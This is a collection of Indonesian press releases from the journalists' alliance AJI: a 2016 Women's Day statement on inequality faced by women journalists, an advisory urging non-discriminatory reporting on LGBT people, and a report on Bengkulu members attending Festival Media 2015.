Menyambut Hari Perempuan Internasional 8 Maret 2016, Aliansi Jurnalis Independen melihat masih banyak ketimpangan dan ketidakadilan yang terjadi pada jurnalis (pekerja media) perempuan dalam perusahaan media massa. Ketimpangan dan ketidakadilan ini tak banyak bergeser dari kondisi akhir tahun yang disampaikan oleh AJI dalam Catatan Akhir Tahun 2015.

Dalam Laporan Akhir Tahun 2015, Bidang Perempuan dan Kelompok Marginal Aliansi Jurnalis Independen (AJI) Indonesia, gambaran secara umum kondisi kesejahteraan jurnalis (pekerja media) perempuan masih jauh dari harapan. Perempuan di media bahkan lebih tidak sejahtera, satu level di bawah mitranya. Salah satu indikasinya, banyak media yang masih menempatkan status kekaryawanan jurnalis perempuan sebagai single, meskipun mereka telah menikah dan mempunyai anak. Implikasi penetapan status single adalah tidak terpenuhinya sebagaian hak-hak pekerja/ jurnalis perempuan. Misalnya pada hak untuk mendapatkan fasilitas tunjangan keluarga, dan asuransi kesehatan untuk suami dan anak.

“Padahal tugas dan tanggung jawab semua, termasuk jurnalis perempuan sama di ruang redaksi,” kata Endah Lismartini, Pengurus Nasional Aliansi Jurnalis Independen (AJI) Indonesia Bidang Perempuan dan Kelompok Marjinal

Diskriminasi ini terjadi karena banyak media menggunakan standar UU Perkawinan Nomor 1 tahun 1974 dalam hal pengupahan untuk pekerja perempuan, termasuk di media. Langkah ini tentu kurang tepat. Harusnya media menggunakan Undang-Undang Ketenagakerjaan Nomor 13 Tahun 2003 yang tidak mengenal diskriminasi gender dalam hal pemenuhan hak-hak normatif tenaga kerja. Realitanya hanya sedikit media yang menjalankan amanat konstitusi ini. Di antara sedikit media itu adalah Bisnis Indonesia.

Selain itu, hak mendapatkan fasilitas seperti yang diamanatkan UU Kesehatan juga belum tersedia sepenuhnya, salah satunya adalah ruang laktasi. Kondisi ini terjadi di banyak media, termasuk di beberapa media mainstream. Kalau-pun ada, beberapa tidak memenuhi syarat aksesibilitas ataupun kenyamanan karena posisi ruang laktasi atau jumlahnya tidak sebanding dengan tingkat kebutuhan.

Pertumbuhan jumlah ruang laktasi pun tidak beranjak signifikan dari riset Kondisi Layak Kerja Jurnalis Perempuan yang dilakukan AJI pada 2012 lalu. Padahal kesehatan anak tidak hanya menjadi kebutuhan pekerja perempuan tapi menjadi kebutuhan bersama. “Perhatian media pada kesehatan anak akan mendukung produktifitas seluruh pekerja media,” kata Endah menegaskan.

Penelitian terakhir yang dilakukan AJI pada sebuah kantor pengelola radio pemerintah masih menunjukan ketimpangan yang cukup besar. Ketimpangan terjadi tak hanya pada jumlah karyawan laki-laki yang lebih banyak dari jumlah perempuan, dimana 45 persen pegawai adalah perempuan dan 55 persen adalah laki-laki. Penetapan status kontrak, yang berdampak pada kesempatan jenjang karir yang terbatas untuk perempuan. Begitu juga dalam posisi di struktural, dari 900 jabatan struktural, perempuan mengisi sekitar 300 jabatan struktural, dominan pada level administratif . Jika menujuk pada program nasional keterwakilan perempuan, kondisi ini berada sedikit lebih tinggi di atas batas minimum (critical mass) keterwakilan perempuan di wilayah politik.

Isu pelecehan seksual di tempat kerja juga belum bergeser. Perusahaan belum memiliki kebijakan dan saluran khusus pengaduan intimidasi dan pelecehan seksual di tempat kerja. Pengaduan tindakan pelecehan seksual biasanya langsung pada atasan. Kondisi menjadi menyulitkan ketika pelaku pelecehan atau intimidasi adalah atasan, atau jurnalis perempuan mengalami pelecehan seksual saat peliputan. “Tidak ada standar penanganan yang jelas. Kasus pelecehan di ruang kerja banyak terabaikan,” katanya.

Kasus yang terjadi tahun lalu pada jurnalis perempuan di sebuah media online menunjukan, belum terpenuhinya standar keselamatan bagi jurnalis perempuan, baik dalam perlindungan dari kejahatan dan pelecehan seksual, juga proses pengaduan ketika terjadi kasus kekerasan atau pelecehan seksual.

Kebijakan nasional pengarusutamaan gender di Indonesia dimulai sejak masa pemerintahan Presiden Abdurahman Wahid. Tahun 2000, presiden mengeluarkan Instruksi Presiden (Inpres) Nomor 9 Tahun 2000 Tentang Pengarusutamaan Gender dalam Pembangunan Nasional. Inpres ini dilatarbelakangi pandangan perlu upaya sungguh-sungguh untuk meningkatkan peran dan kualitas perempuan dalam pembangunan. Serta meningkatan kesetaraan dan keadilan gender dalam kehidupan berkeluarga, bermasyarakat, berbangsa, dan bernegara.

Namun 16 tahun sejak Inpres ditetapkan, tak banyak perubahan terjadi. Bagi jurnalis perempuan di Indonesia, problem masih berada dikisaran upah dan kesempatan yang setara dengan mitranya. Sementara isu hak perempuan seperti perlindungan dari pelecehan seksual di kantor masih banyak diabaikan. Keberadaan serikat pekerja masih belum maksimal mengakomodir isu-isu jurnalis perempuan.

Dengan serangkaian problem yang masih banyak dihadapi jurnalis perempuan, artinya masih banyak pekerjaan rumah yang perlu diselesaikan untuk meningkatkan kesejahteraan pada jurnalis perempuan di Indonesia. “Karena itu AJI mendesak Kementerian Pemberdayaan Perempuan dan Perlindungan Anak (KPPPA) bisa bersinergi dengan Kementerian Ketenagakerjaan, untuk memastikan agar hak-hak pekerja perempuan terpenuhi sesuai ketentuan undang-undang,” kata Endah menegaskan. (rls)

 

ALIANSI JURNALIS INDEPENDEN
No. 012/AJI-Bid.Perempuan/Rilis/III/2016

Memperingati International Women’s Day

Imbauan Terkait Pemberitaan LGBT

Nomor : 011/AJI-Bid.Perempuan/Imbauan/II/2016
Aliansi Jurnalis Independen (AJI) Indonesia mencermati gencarnya pemberitaan terkait isu-isu sensitif keberadaan kelompok termarjinal secara struktural dan sosial akhir-akhir ini, khususnya terkait lesbi, gay, biseksual dan transgender (LGBT).

AJI melihat ini adalah bentuk perhatian media pada kelompok marjinal ini. Hanya saja AJI Indonesia menilai beberapa pemberitaan berindikasi melanggar UU Pers, Kode Etik Jurnalistik maupun Pedoman Prilaku Penyiaran dan Standar Program Siaran (P3SPS) 2012.

Undang-undang Pers Nomor 40 Tahun 1999, pasal 6 mengamanatkan pers nasional melaksanakan peranan memenuhi hak masyarakat untuk mengetahui, menegakkan nilai-nilai dasar demokrasi, dan Hak Asasi Manusia, serta menghormati kebhinekaan. Mengembangkan pendapat umum berdasarkan informasi yang tepat, akurat dan benar.

Dalam Kode Etik yang dirumuskan 29 organisasi profesi pada 2006, pasal 1 mengamanatkan “Wartawan Indonesia bersikap independen, menghasilkan berita yang akurat, berimbang, dan tidak beritikad buruk.” Sedangkan pada Pasal 8: “Wartawan Indonesia tidak menulis atau menyiarkan berita berdasarkan prasangka atau diskriminasi terhadap seseorang atas dasar perbedaan suku, ras, warna kulit, agama, jenis kelamin, dan bahasa serta tidak merendahkan martabat orang lemah, miskin, sakit, cacat jiwa atau cacat jasmani.

Pada bagian penafsiran pasal ini dijelaskan, prasangka adalah anggapan yang kurang baik mengenai sesuatu sebelum mengetahui secara jelas dan diskriminasi adalah pembedaan perlakuan.

Pun dalam Pedoman Prilaku Penyiaran Standar Program Siaran (P3SPS) 2012, Bab XI pasal 15 ayat 1, mengamatkan tentang perlindungan kepala orang dan kelompok masyarakat tertentu, termasuk didalamnya, “Orang atau kelompok dengan orientasi seksual atau identitas gender tertentu.” Pada ayat 2 mengatur lembaga penyiaran tidak boleh menyiarkan atau menyajikan program yang menertawakan, menghina atau merendahkan kelompok masyarakat, termasuk di dalamnya orang atau kelompok dengan orientasi seksual atau identitas gender tertentu.

Sedangkan pada BAB XVIII P3SPS juga menekankan lembaga penyiaran mengedepankan Prinsip-Prinsip Jurnalistik. Di antaranya menjunjung prinsip keberimbangan, adil, tidak beritikad buruk dll.

Pada pemberitaan yang diturunkan media akhir-akhir ini terkait isu LGBT, AJI Indonesia melihat terdapat beberapa kelalaian sesuai ketentuan di atas. Media cenderung tidak berimbang, tidak jernih mengulas permasalahan, serta berpontensi melakukan kekerasan simbolik terhadap kelompok marjinal dalam pemberitaan.

AJI Indonesia mengimbau media tidak melakukan diskriminasi, menaati KEJ dan P3SPS 2012 dalam pemberitaan. AJI juga mendorong Dewan Pers dan Komisi Penyiaran Indonesia menjalankan fungsi pengawasan sesuai dengan amanat undang-undang, untuk masa depan pers Indonesia yang lebih baik.

Kepada masyarakat yang merasa dirugikan terkait pemberitaan, AJI mendorong menggunakan mekanisme yang telah diatur dalam UU Pers dan diadopsi dalam KEJ, yaitu hak jawab dan koreksi. Hak jawab adalah hak seseorang atau sekelompok orang untuk memberikan tanggapan atau sanggahan terhadap pemberitaan berupa fakta yang merugikan nama baiknya. Sedangkan hak koreksi adalah hak setiap orang untuk membetulkan kekeliruan informasi yang diberitakan oleh pers, baik tentang dirinya maupun tentang orang lain.

Hak jawab dan koreksi ini dapat langsung dilayangkan kepada redaksi atau melalui ombudsman media. Media berkewajiban melayani kedua hak masyarakat ini secara arif sesuai amanat UU Pers Pasal 5 dan KEJ Pasal 11. Jika masyarakat menilai itikad baik ini tidak mendapatkan tanggapan dari media, AJI mendorong masyarakat menggunakan jalur pengaduan kepada Dewan Pers atau Komisi Penyiaran Indonesia.

Atas perhatiannya, kami sampaikan terima kasih.
Jakarta, 15 Februari 2016
Hormat kami,

Y. Hesthi Murthi                                                               Suwarjono

Ketua Bidang Perempuan dan Kelompok Marjinal               Ketua AJI Indonesia

HP: 087888839543
HP: 0818758624

Tembusan:
1. Dewan Pers

2. Komisi Penyiaran Indonesia


‪Aliansi Jurnalis Independen (AJI) Indonesia
Jl. Kembang Raya no. 6, Kwitang, Jakarta Pusat 10420
Phone (6221)
3151214Fax (6221)
3151261‬

8 Anggota AJI Bengkulu Ikuti Festival Media 2015

AJI Bengkulu – Delapan jurnalis anggota Aliansi Jurnalis Independen (AJI) Bengkulu, mengikuti gelaran Festival Media (Fesmed) 2015 yang digelar pada Jum’at-Minggu (14-15 November 2015). Gelaran tersebut merupakan rangkaian dari kegiatan peringatan Hari Ulang Tahun AJI ke-21 tahun ini dengan Jakarta sebagai tuang rumah, dengan mengangkat tema “Cerdas Memilih Media”.

Jurnalis Bengkulu yang mengikuti gelaran tersebut yakni, Betty Herlina (Rakyat Bengkulu), Demon Fajri (Okezone.com), Firmansyah (Kompas.com), Lisa Rosari (Radar Selatan), Yasrizal (Kupas Bengkulu), Phesi Ester Julikawati (Tempo) dan Ricky Jenihansen B (Rakyat Merdeka Online Bengkulu).

“Keikutsertaan kawan-kawan Jurnalis anggota AJI Bengkulu dalam Fesmed adalah sebagai ajang silahturahmi membangun jaringan dengan sesama jurnalis lainnya dari seluruh Indonesia sekaligusn untuk peningkatan kapasitas Jurnalis,” kata Ketua AJI Bengkulu, Dedek Hendry.

Dedek mengatakan, pada gelaran tersebut, para Jurnalis akan ikut serta dalam beberapa agenda memang yang sudah disiapkan panitia untuk dapat saling bersilahturahmi membangun jaringan.

“Dalam gelaran tersebut, ada acara ghatering jurnalis se-Indonesia, sehingga bisa dimanfaatkan seluruh Jurnalis, termasuk Jurnalis dari Bengkulu untuk dapat membangun jaringan dari seluruh Indonesia, serta bisa membuka peluang seperti misalnya sindikasi media atau agregasi media,” terang Dedek.

Selain itu, ada juga beberapa agenda yang diperuntukan sebagai peningkatan kapasitas para jurnalis dan media, sehingga setelah mengikuti kegiatan tersebut, para jurnalis bisa meningkatkan profesionalisme.

“Beberapa kegiatannya yakni, workshop monetize atau meraup rupiah dari media online dan monetize your video yang akan menghadirkan pembicara CEO MalesBanget.com Critian Sugiono yang telah sukses dengan chanel jalan-jalan men di You Tube,” jelasnya.

Seperti diketahui, dalam penyelenggaraan Fesmed 2015 tahun ini, AJI bekerjasama dengan Universitas Atmajaya Jakarta. Acara Festival Media ini digelar 14-15 November 2015 dan dipusatkan di Kampus Unika Atmajaya yang berada di Jl. Jenderal Sudirman No. 51, Jakarta.

Acara festival media ini terbuka untuk umum dan gratis. Sebagian besar acara dilaksanakan secara paralel dalam ruangan terpisah. Publik yang ingin berpartisipasi dalam festival media ini bisa mendaftarkan diri melalui email: fesmedjakarta2015@gmail.com atau langsung mendaftar melalui website http://festival-media.aji.or.id. [Q19]